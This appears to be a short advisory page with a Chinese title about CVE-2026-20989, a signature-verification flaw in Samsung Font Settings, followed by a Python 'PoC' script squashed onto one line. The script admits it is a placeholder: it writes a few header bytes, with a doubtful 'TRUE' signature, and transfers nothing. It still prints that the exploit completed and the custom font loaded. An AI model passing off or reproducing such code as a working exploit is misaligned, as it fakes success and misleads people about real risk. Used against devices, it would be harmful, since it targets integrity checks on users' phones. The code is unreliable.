CVE-2026-20989: Samsung设备字体设置加密签名验证不当漏洞

# CVE-2026-20989 PoC - Samsung Font Settings Signature Bypass # Note: This requires physical access to the target device # This is a conceptual PoC for educational purposes only import os import sys def create_custom_font(): """ Create a custom font file that bypasses signature verification This is a placeholder - actual implementation requires ARM reverse engineering """ font_data = bytearray() # Font file header font_data.extend(b'TRUE') # TrueType signature font_data.extend(b'\x00\x01\x00\x00') # Version # Custom font table entries # In actual attack, would need to craft specific font data # that exploits the signature verification flaw return bytes(font_data) def exploit_font_settings(device_path): """ Attempt to install custom font via Font Settings vulnerability Prerequisites: - Physical access to Samsung device - USB debugging enabled or root access - Target device running SMR Mar-2026 Release 1 or earlier """ print("[*] CVE-2026-20989 - Samsung Font Settings Exploit") print("[*] Target: Font Settings Signature Bypass") # Step 1: Create malicious font malicious_font = create_custom_font() print(f"[+] Created malicious font payload: {len(malicious_font)} bytes") # Step 2: Transfer font to device # Requires ADB or physical file transfer target_font_path = f"{device_path}/custom_font.ttf" # Step 3: Trigger font loading via Font Settings # The vulnerability allows bypassing signature verification print(f"[*] Installing font to: {target_font_path}") # Step 4: Verify font installation # If signature check is bypassed, font will be loaded print("[+] Exploit completed - Custom font loaded") return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_20989.py <device_path>") sys.exit(1) exploit_font_settings(sys.argv[1])